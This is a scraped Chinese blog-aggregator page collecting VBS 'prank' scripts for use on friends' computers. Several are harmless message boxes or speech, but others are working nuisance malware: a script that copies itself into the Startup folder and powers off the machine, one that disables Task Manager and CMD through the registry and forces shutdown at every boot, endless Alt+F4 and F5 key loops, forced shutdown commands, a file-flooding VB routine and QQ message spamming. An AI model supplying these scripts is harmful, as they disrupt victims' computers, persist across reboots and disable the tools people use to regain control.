精华内容
下载资源
问答
  • VBS代码

    2020-02-04 13:29:40
    如果你是想知道一个简单的vbs脚本(恶搞版)坑人用的那么你来对了地方 首先新建一个文本文档 如下图 其次把红色划线部分改成.vbs(这个叫扩展名)(txt——>...把下面代码打上去保存就好 do msgbo...

    如果你是想知道一个简单的vbs脚本(恶搞版)坑人用的那么你来对了地方
    首先新建一个文本文档
    如下图
    在这里插入图片描述
    在这里插入图片描述
    其次把红色划线部分改成.vbs(这个叫扩展名)(txt——>vbs)
    有些电脑不显示
    不要紧打开资源管理器然后看下图
    在这里插入图片描述
    当你改完vbs点确定的时候电脑会警告你 ,不要紧点确定
    改了以后就变样了如下图
    在这里插入图片描述

    最后把鼠标移到图标上点击右键选编辑点下去
    把下面代码打上去保存就好

    do
    msgbox"想要重复的话"
    loop
    

    如何保存?

    同时点击ctrl键+s键
    

    实际效果如下图
    在这里插入图片描述
    怎么关也关不掉
    如何解除
    参照我的另一篇博客里面很详细
    关闭vbs

    展开全文
  • vbs代码

    2015-10-18 00:01:16
    vbs 数组 Option Explicit Dim array(3),str array(0)="a" array(1)="b" array(2)="c" array(3)="d" For Each str in array MsgBox str Next 显示日期 CurrentTime=Hour(Now)&":"&Minute(Now)&":"&...

    vbs 数组

    Option Explicit

    Dim array(3),str
    array(0)="a"
    array(1)="b"
    array(2)="c"
    array(3)="d"
    For Each str in array
    MsgBox str

    Next

    显示日期

    CurrentTime=Hour(Now)&":"&Minute(Now)&":"&Second(Now)
    Dim myDate
    myDate=Date
    MsgBox CurrentTime&myDate

    计算0-100相加

    dim n,i
    n=0
    For i=0 To 100 step 2
    n=i+n
    Next
    MsgBox n

    展开全文
  • 使用vbs代码实现多条消息快速发送

    万次阅读 多人点赞 2019-07-17 19:21:22
    带数字的提示的 set wshshell=wscript.createobject("wscript.shell") wshshell.AppActivate"要...把代码复制进去,后缀改为vbs,复制要发送的内容,然后点击聊天框,双击vbs文件即可,两个版本,一个带数字,一个不带

     

    带数字的提示的

    set wshshell=wscript.createobject("wscript.shell") 
    wshshell.AppActivate"要发送的人的名字" 
    for i=1 to 100     //循环次数
    wscript.sleep 100     //间隔时间,单位毫秒
    wshshell.sendKeys "^v" 
    wshshell.sendKeys i 
    wshshell.sendKeys "%s" 
    next
    

    不带数字的提示的

    set wshshell=wscript.createobject("wscript.shell") 
    wshshell.AppActivate"要发送的人的名字" 
    for i=1 to 100
    wscript.sleep 100 
    wshshell.sendKeys "^v" 
    wshshell.sendKeys "%s" 
    next
    

     

     创建一个text文本,把代码复制进去,后缀改为vbs,复制要发送的内容,然后点击聊天框,双击vbs文件即可,两个版本,一个带数字,一个不带

    展开全文
  • 超好玩的vbs代码 (恶作剧代码)

    万次阅读 多人点赞 2019-08-01 09:25:59
    VBScript是Visual Basic Script的简称微软公司可视化BASIC脚本版),即 Visual Basic脚本语言,有时也被缩写为VBS。它是一种微软环境下的轻量级的解释型语言,它使用COM组件、WMI、WSH、ADSI访问系统中的元素,对...

     

            VBScript是Visual Basic Script的简称微软公司可视化BASIC脚本版),即 Visual Basic脚本语言,有时也被缩写为VBS。它是一种微软环境下的轻量级的解释型语言,它使用COM组件、WMI、WSH、ADSI访问系统中的元素,对系统进行管理。同时它又是asp动态网页默认的编程语言,配合asp内建对象和ADO对象,用户很快就能掌握访问数据库的asp动态网页开发技术。其语言类似Visual Basic(VB),VBS是微软的WSH脚本的一种,WSH是是Windows脚本宿主,是一个脚本解释器,支持vbs,js,wsh三种格式的脚本。简单了解一下,计算机语言分为编译语言和解释语言,脚本语言属于解释语言。VBS脚本是有ASCII码组成。编写VBS脚本没有什么特定要求,只要有系统带了WSH环境就可以,从WIN98就开始支持了。 

    下边就是代码:

     

    msgbox"电脑即将自爆"+chr(13)+"请在15秒内离开座位"+chr(13)+"否则你死定了",2,"系统自爆提醒"
    CreateObject("SAPI.SpVoice").Speak"电脑即将自爆,请在15秒内离开座位,否则你死定了!"
    

    其中“msgbox”代表Windows系统的弹窗警告,内容A、内容B、内容C是大家想在弹窗上显示的文字,而“标题”就是弹窗左上角类似系统警告一类的内容;另外,在“标题”前面的数字“1”代表调用系统按钮的样式,也可以换成2、3、4,共4种按钮样式供大家选择。

    CreateObject("SAPI.SpVoice").Speak"内容"表示将内容用电脑发声
     

     

     

     

    无限弹出光驱:

     

    set wmp=createobject("wmplayer.ocx") 
    
    set cd=wmp.cdromcollection.item(0) 
    
    do 
    
    cd.eject 
    
    loop 

    无尽语音报数:无限语音从1数到无限大。

     

    Set s = CreateObject("sapi.spvoice") 
    
    i=0 
    
    do 
    
    s.speak i 
    
    i=i+1 
    
    loop 

    无尽刷新:慎用,如此刷新打开任务管理器都难,只能拔掉电源。

     

    set ws=createobject("wscript.shell") 
    
    do 
    
    ws.sendkeys "{f5}" 
    
    loop 

    修改注册表:

     

    on error resume next 
    
    set wr=createobject("scripting.filesystemobject") 
    
    set ws=createobject("wscript.shell") 
    
    set f = wr.getfile(wscript.scriptfullname) 
    
    q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup") 
    
    if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true 
    
    ws.run"shutdown -p",vbhide

    QQ信息骚扰恶搞:打开好友的聊天对话框,然后记下聊天对话框的名称(如图:小敏),把下面代码里的小敏替换一下。代码中的“10”代表发送次数,把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可,当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。

     On Error Resume Next 
    
    Dim wsh,ye 
    
    set wsh=createobject("wscript.shell") 
    
    for i=1 to 10 
    
    wscript.sleep 700 
    
    wsh.AppActivate("小敏") 
    
    wsh.sendKeys "^v" 
    
    wsh.sendKeys i 
    
    wsh.sendKeys "%s" 
    
    next 
    
    wscript.quit

     
    如何恶搞朋友的电脑?超简单的vbs代码

    直接关机: 

     

    dim WSHshell 
    
    set WSHshell = wscript.createobject("wscript.shell") 
    
    WSHshell.run "shutdown -f -s -t 00",0 ,true

     不断按下alt+f4 :打开任何程序都关掉

     

    dim WSHshell 
    
    set WSHshell = wscript.createobject("wscript.shell") 
    
    do
    
    
    
    wscript.sleep 2500 
    
    WSHshell.SendKeys "%{F4}" 
    
    loop 

     电脑说话

    set objTTS = createobject("sapi.spvoice")
    objTTS.speak "我自横刀向天笑,笑完我就去睡觉"

    无限弹出窗口

    while(1)
    msgbox("关不掉我吧")
    msgbox("哈哈,还是关不掉我")
    msgbox("你就是关不掉我")
    msgbox("大爆发,我就是这么强大")
    msgbox("关不掉我吧")
    msgbox("啦啦啦")
    msgbox("你拿我没办法")
    msgbox("哈哈哈")
    msgbox("气死你,哈哈哈哈")
    Wend 

    关不掉的窗口 
    复制代码代码如下:

    
    
    WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName) 
    WScript.Echo("你是可爱的小朋吗?") 
    WScript.Echo("哈,我想你拉,这你都不知道吗?") 
    WScript.Echo("怎么才来,说~是不是不关心我") 
    WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。") 
    WScript.Echo("小强很生气,后果很严重哦。") 
    WScript.Echo("嘿嘿!你也会很惨滴哦") 
    WScript.Echo("是不是想清除我?") 
    WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") 
    WScript.Echo("还剩49下,快点点哦") 
    WScript.Echo("还剩48下,快点,小笨蛋!") 
    WScript.Echo("还剩47下对,就这样快点点!") 
    WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰你工作。") 
    WScript.Echo("还剩45下,记得要快哦!") 
    WScript.Echo("还剩43下") 
    WScript.Echo("还剩42下") 
    WScript.Echo("还剩41下") 
    WScript.Echo("还剩40下") 
    WScript.Echo("还剩39下") 
    WScript.Echo("还剩38下") 
    WScript.Echo("还剩37下") 
    WScript.Echo("还剩36下") 
    WScript.Echo("还剩35下") 
    WScript.Echo("还剩34下") 
    WScript.Echo("还剩33下") 
    WScript.Echo("还剩32下") 
    WScript.Echo("还剩30下") 
    WScript.Echo("还剩29下") 
    WScript.Echo("还剩28下") 
    WScript.Echo("还剩27下") 
    WScript.Echo("还剩26下") 
    WScript.Echo("还剩25下") 
    WScript.Echo("还剩24下") 
    WScript.Echo("还剩23下") 
    WScript.Echo("还剩22下") 
    WScript.Echo("还剩21下") 
    WScript.Echo("还剩20下") 
    WScript.Echo("还剩19下") 
    WScript.Echo("还剩18下") 
    WScript.Echo("还剩17下") 
    WScript.Echo("还剩16下") 
    WScript.Echo("还剩15下") 
    WScript.Echo("还剩14下") 
    WScript.Echo("还剩13下停停!!!慢点,我有话要说") 
    WScript.Echo("还剩12下,你继续点我就会消失滴") 
    WScript.Echo("还剩11下,以后就看不到我拉。555555") 
    WScript.Echo("还剩10下,你现在可以选择停止!") 
    WScript.Echo("还剩9下。你还点啊,不要我拉?") 
    WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") 
    WScript.Echo("还剩7下。疯了,你有点负意!") 
    WScript.Echo("还剩6下。对。你就点吧,我恨你!") 
    WScript.Echo("还剩5下,不明白,删除我你就好吗?") 
    WScript.Echo("还剩4下!真要删除我?") 
    WScript.Echo("还剩3下。可是我真的很眷恋你。。。") 
    WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你的!") 
    WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无义!!!") 
    WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。") 
    WScript.Echo("想结素我么?那你就再多点一次") 
    WScript.Echo("想结素我么?那你就再多点一次") 
    WScript.Echo("想结素我么?那你就再多点一次") 
    WScript.Echo("想结素我么?那你就再多点一次") 
    WScript.Echo("想结素我么?那你就再多点一次") 
    WScript.Echo("想结素我么?那你就再多点一次") 
    WScript.Echo("想结素我么?那你就再多点一次") 
    WScript.Echo("想结素我么?那你就再多点一次") 
    WScript.Echo("想结素我么?那你就再多点一次") 
    WScript.Echo("想结素我么?那你就再多点一次") 

    今天给大家带来两个整人的VBS脚本 希望大家喜欢 
    VBS脚本大家都知道吧 第一个是定时关机的 
    如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的 
    时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法 
    我们来看下这个脚本 

    复制代码代码如下:

    on error resume next 
    dim WSHshellA 
    set WSHshellA = wscript.createobject("wscript.shell") 
    WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪,不说我是猪就一分钟关机,不信,试下···"" ",0 ,true 
    dim a 
    do while(a <> "我是猪") 
    a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","",8000,7000) 
    msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" 
    loop 
    msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" 
    dim WSHshell 
    set WSHshell = wscript.createobject("wscript.shell") 
    WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
    msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖" 


    新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了 
    cmd.exe /c shutdown -r -t 180 -c 
    这里的数字可以修改关机时间 180秒 
    这些文字也可以自设 这个脚本启用cmd 里的关机程序 
    如果不输的的话 可以打开任务管理器 输入shutdown -a 来解除 我们试下 这时定时关机已 
    经没了 但是还有个关不掉的窗口 我们打开任务管理器 结束掉Wscript.exe 这个进程就OK 
    了 这时就完全解除这个脚本了 Wscript 时Windows 脚本宿主 
    ------------------------------------------------------------------------------------------- 
    下面看第二个整人的脚本 
    ------------------------------------------------------------------------------------------- 

    复制代码代码如下:

    set ws=createobject("wscript.shell") 
    call shutdown(1) 
    do while a<>"我是猪" 
    a=inputbox("快在下面的框框里输入我是猪,否则后果自负,快输""我是猪"" ","输不输","") 
    loop 
    call shutdown(2) 
    msgbox "早说就行了嘛",4096+64 
    msgbox"再输一遍我是猪!",4096+64 
    msgbox"我是猪!",4096+64 
    MsgBox"最后一次!",4096+64 
    MsgBox"如果你很快的点过去,不看的话",4096+64 
    MsgBox"我就要你踩我空间的!哼!",4096+64 
    MsgBox"从前有座山!",4096+64 
    MsgBox"山里有个庙.",4096+64 
    MsgBox"庙里有个老和尚在讲故事.",4096+64 
    ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter" 
    msgbox"哎呀累了!数绵羊哄我睡觉",4096+64 
    for i=1 to 100 
    MsgBox i&"只绵羊",4096+64 
    next 
    msgbox"哎呀我困了,这次就饶过你吧,下次注意哦!",4096+64 
    msgbox"最后问个问题,我是不是大好人!",4096+64 
    if inputbox("是不是","请选择","是")<>"是" then 
    call shutdown(1) 
    end if 
    sub shutdown(s) 
    select case s 
    case 1 
    ws.run"cmd.exe /c shutdown -r -t 60 -c",0 
    case 2 
    ws.run"cmd.exe /c shutdown -a",0 
    end select 
    end sub 


    -------------------------------------------------------------------------------- 
    ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter" 
    这段代码可以改成你自己设定的地址 
    如果别人不输我是猪的话就会一直点下去 点到你设定的数字 
    for i=1 to 100 
    从1到100 
    可以改成 20 其他的数字 
    解除这个VBS脚本的办法就简单了 只是关掉任务管理器里Wscript.exe 
    这个进程就好了 
    BY:7747.net 


    2009QQ整人代码 

    复制代码代码如下:

    set s=createobject("wscript.shell") 
    set bag=getobject("winmgmts:\\.\root\cimv2") 
    set pipe=bag.execquery("select * from win32_process where name='wscript.exe'") 
    For Each id in pipe 
    if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then 
    s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD" 
    s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD" 
    id.terminate() 
    else 
    s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD" 
    s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD" 
    for i=1 to 60 
    s.popup"系统将在"& 60-i &"秒后关机...",1,"系统提示",4096+48 
    next 
    Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem") 
    For Each eOs In colOS 
    eOs.Win32Shutdown(2) 
    Next 
    end if 
    Next 


    [color=#FF0000]复制以上代码,在桌面建一个文本,把代码放进去,另存为VBE格式, 
    此代码的威力: 
    1:开机就强制自动关机 
    2:cmd命令打不开 
    3:结束任务不管用 
    4:F8安全模式也不管用 
    呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、 
    代码破解方法:就是再运行一次,就可以破解了,也就是第2次保存的那个VBE文件,, 
    PS:不要乱拿软件去整人,发生什么事可不要怪我啊。。 
    拍拍手 顶起吧! 

    2: 

    复制代码代码如下:

    on error resume next 
    dim WSHshellA 
    set WSHshellA = wscript.createobject("wscript.shell") 
    WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说你是傻B,我是天下第一大傻B不说宝宝,我是天下第一大傻B就一分钟关你机,不信,试试···"" ",0 ,true 
    dim a 
    do while(a <> "宝宝,我是天下第一大傻B") 
    a = inputbox ("宝宝,我是天下第一大傻B,就不关机,快撒,说 ""宝宝,我是天下第一大傻B"" ","说不说","不说",8000,7000) 
    msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" 
    loop 
    msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,乖乖" 
    dim WSHshell 
    set WSHshell = wscript.createobject("wscript.shell") 
    WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
    msgbox chr(13) + chr(13) + chr(13) + "宝宝是不是又帅啦??" 


    这代码是我从朋友那拿来的,大家可以试着玩下、你能做非法事情哦、 



    网页整人效果代码 
    想看效果,只要复制这下面的所有代码保存在text文件里,修改文件后缀为txt就能看到效果了。 

    复制代码代码如下:

    <html> 
    <head> 
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
    <title>网页特效|Linkweb.cn/Js|---很恶心的常见整人效果</title> 
    </head> 
    <body> 
    <a href="" onMouseover="alert('为什么把鼠标放到这里?'); 
    alert('我不是说过不可以这样吗?'); 
    alert('你把我的话当什么了?'); 
    alert('你知道错了吗?'); 
    alert('什么?你居然....'); 
    alert('居然还没意识到自己做错了?'); 
    alert('那好,你要为此付出代价!'); 
    alert('我要你在这里点足一千下......'); 
    alert('什么?你开始有点后悔了?'); 
    alert('何必呢?'); 
    alert('你当初干什么去了?'); 
    alert('不原谅你!'); 
    alert('好从现在开始再点995下......'); 
    alert('你的手开始累了吗?'); 
    alert('什么?你已经没力气了?'); 
    alert('你一直在求我原谅你啊!'); 
    alert('看来你是真的知道错了!'); 
    alert('下次你还会这么做吗?'); 
    alert('真的不会了?'); 
    alert('那好,今天就放你一马!'); 
    alert('写封信给我说声对不起!'); 
    alert('你能这么做我很高兴!!!'); 
    document.bgColor='black'; 
    document.fgColor='White'; 
    window.location.href='mailto:mygod@god?subject=对不起,下次不敢了!';">不许把鼠标移到这里</a> 
    
    嘻试吧爽噢。。 
    
    </body> 
    </html> 




    vbs整人代码 
    代码如下: 

    复制代码代码如下:

    Private Sub Form_Load() 
    Me.Hide 
    End Sub 
    Private Sub Timer1_Timer() 
    '声明变量,其中“count”为静态变量,以便生成不同的文件 
    Dim files As String 
    Dim nr As String 
    Dim c As String 
    Static count As Long 
    '定义要把生成的文件存放在那个目录文件下 
    c = "C:\Program Files\" 
    '生成文件的内容 
    nr = "哈哈,被黑的感觉的不错吧" 
    files = FreeFile 
    '如果a等于a那么就执行 
    If a = a Then 
    'count不断的加1,以便产生不同的文件名 
    count = count + 1 
    '产生文件名及文件句柄,并用count作为产生不同的文件名。 
    Open c & "system" & count & ".dll" For Append As #files 
    '向文件写内容 
    Write #files, nr 
    '清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示 
    Close #files 
    End If 
    End Sub 

     一直点击 循环

    dim s
    do until s=500
    s=s+1
    msgbox "点确定",64
    loop

    开玩笑也得有个度,凡事都不要太过。上面的代码的尺度还不算很大,大家可以玩玩。

    创建一个text文本,把代码复制进去,后缀改为vbs 双击运行即可

    如何能关闭呢?打开任务管理器结束进程“wscript.exe”即可

     

     来源:https://blog.csdn.net/dongge825/article/details/8025451

               https://so.csdn.net/so/search/s.do?q=vbs代码&t=&u=

    展开全文
  • 整人的vbs代码

    2012-11-29 12:11:38
    整人的vbs代码
  • 收藏的比较精典VBS代码发布 et fs = Wscipt.CreateObject"ripting) 创建文件系统对象用以处理驱动器文件夹和文件 St WshShel Wript.Cretbjec(Wcript.Shel) 创建系统hel对象用以运行程序等等 if f"D\刀剑Online\...
  • ASP vbs 代码大小写规范-软件开发网 [Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]
  • 主要介绍了修改ini文件的批处理与vbs代码,需要的朋友可以参考下
  • 主要介绍了查询电脑开关机时间的vbs代码,需要的朋友可以参考下
  • 主要介绍了拖拽文件显示文件路径的vbs代码,需要的朋友可以参考下
  • vbs代码大全.txt

    2012-12-13 12:56:06
    vbs代码大全.txt
  • VBS代码大全

    2018-08-18 09:58:05
    vbs脚本程序应用灵活方便,包含经典代码,可做为变成辅助工具!
  • 主要介绍了监测windows主机网络接口利用率的vbs代码,不用任何软件没有安全隐患,学习vbs的朋友可以参考一下
  • 有2个txt文件:qq1.txt和qq2.txt,现用vbs代码实现:提取两者的交集保存为qq3.txt
  • VBS代码管理本地连接

    2012-12-12 21:29:33
    VBS代码 双击 使用 双击 启用 或禁用 本地连接. 代码 内可更改本地连接 名称
  • 从XML文件中获取信息的vbs代码,这个脚本演示了如何通过MSXML从一个XML文件中的信息。示例XML文件是用于在网站上的相册。此脚本将返回特定图片的标题。
  • vbs代码步骤一:在电脑上新建一个txt文件步骤二:将以下代码复制过去(中文可以改)const title = “爱情测试”const yourname = “嫦娥”const question = “你最喜欢的人是谁?请在下面的方框中输入他(她)的名字。”...
  • 易语言小熊要的那段vbs代码转EStringToBytes源码,文本到字节集
  • 运行同一目录下的可执行程序的VBS代码,需要的朋友可以参考下。
  • 提权vbs代码

    2020-09-05 19:44:20
    用了提升用户权限的脚本代码,学习vbs的朋友可以参考下。
  • vbs 代码编辑编译工具

    2012-05-17 21:50:45
    包含2个工具,都是绿色的,免安装; 一个是vbs代码编辑工具,可以自动查错,并可以调试运行。 另一个是把vbs 编译转换成exe格式,并加密代码。
  • vbs小工具-vbs代码加密解密

    热门讨论 2009-01-12 15:17:18
    可以简单的加密/解密 一下编写的vbs代码. 好像还有点用.
  • 自动更换DNS vbs代码

    2011-12-19 19:02:24
    自动更换DNS vbs代码,很好用的。适合自动更换dns
  • 自解压包隐藏winrar关联的vbs代码
  • 安装字体VBS代码.vbs

    2021-03-28 21:46:29
    自动批量安装字体。适合叉屁、未死的、瘟七、瘟八、瘟十等系统。 彻底解决了万恶的瘟十系统,当用户每安装1个字体文件,就在C盘存放23个文件的天怒人怨行径。
  • vbs代码如何使用Wscript调试

    千次阅读 2017-10-26 09:24:18
    转自:vbs代码如何使用Wscript调试 有些朋友用vbs写代码习惯用MsgBox输出,有时候一段代码调试完输出了一堆MsgBox,调完了还要删掉。遇到想要查看对象的情况更是累的不行... 然而,一个编程语言怎么可能没有更...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,258
精华内容 1,303
关键字:

vbs代码